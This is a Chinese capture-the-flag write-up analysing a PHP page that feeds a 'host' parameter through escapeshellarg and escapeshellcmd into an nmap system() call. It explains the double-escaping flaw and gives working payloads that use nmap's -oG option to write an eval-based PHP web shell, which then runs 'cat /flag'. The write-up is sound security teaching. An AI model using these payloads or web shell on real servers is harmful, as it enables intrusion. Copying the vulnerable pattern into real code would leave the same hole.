打开可以看见是代码审计,我们看看代码
<?php
if (isset($_SERVER[\'HTTP_X_FORWARDED_FOR\'])) {
$_SERVER[\'REMOTE_ADDR\'] = $_SERVER[\'HTTP_X_FORWARDED_FOR\'];
}
if(!isset($_GET[\'host\'])) {
highlight_file(__FILE__);
} else {
$host = $_GET[\'host\'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5(\"glzjin\". $_SERVER[\'REMOTE_ADDR\']);
echo \'you are in sandbox \'.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system(\"nmap -T5 -sT -Pn --host-timeout 2 -F \".$host);
}
escapeshellarg
(PHP 4 >= 4.0.3, PHP 5, PHP 7, PHP 8)
escapeshellarg — 把字符串转码为可以在 shell 命令里使用的参数
说明
escapeshellarg(string $arg): string
escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。shell 函数包含 exec(), system() 执行运算符 。
escapeshellcmd
(PHP 4, PHP 5, PHP 7, PHP 8)
escapeshellcmd — shell 元字符转义
说明
escapeshellcmd(string $command): string
escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。
反斜线(\\)会在以下字符之前插入: &#;`|*?~<>^()[]{}$\\
, \\x0A
和 \\xFF
。 \'
和 \"
仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及 %
和 !
字符都会被空格代替。
利用escapeshellarg()+escapeshellcmd()
的两次转义,导致闭合单引号后即可执行任意参数,然后利用Nmap的-oG
参数写入shell
?host=\'<?php phpinfo();?> -oG 1.php \'
?host=\'<?php eval($_POST[\"cmd\"]);?> -oG shell.php \'
然后可以使用蚁剑链接,也可以直接使用hackerbar传入post参数获取flag
这里写一下post参数,需要加上随机生成的文件地址
you are in sandbox
bfdd2bcef2d3227e6488d853d524a31d
Starting Nmap 7.70 ( https://nmap.org ) at 2022-06-02 09:39 UTC Nmap done: 0 IP addresses (0 hosts up) scanned in 0.50 seconds Nmap done: 0 IP addresses (0 hosts up) scanned in 0.50 seconds例如这个标红的就是随机生成的一个地址
因此,最后生成的地址为
http://e95404bc-ff0c-46cc-8ca8-2455bcdc5f2f.node4.buuoj.cn:81/bfdd2bcef2d3227e6488d853d524a31d/shell.php
cmd=phpinfo(); #测试shell成功上传没有
cmd=system(\"cat /flag\"); #获取flag
最终获取flag为flag{fd809798-1d4d-4eeb-ba94-c04fabd435fe}
暂无评论内容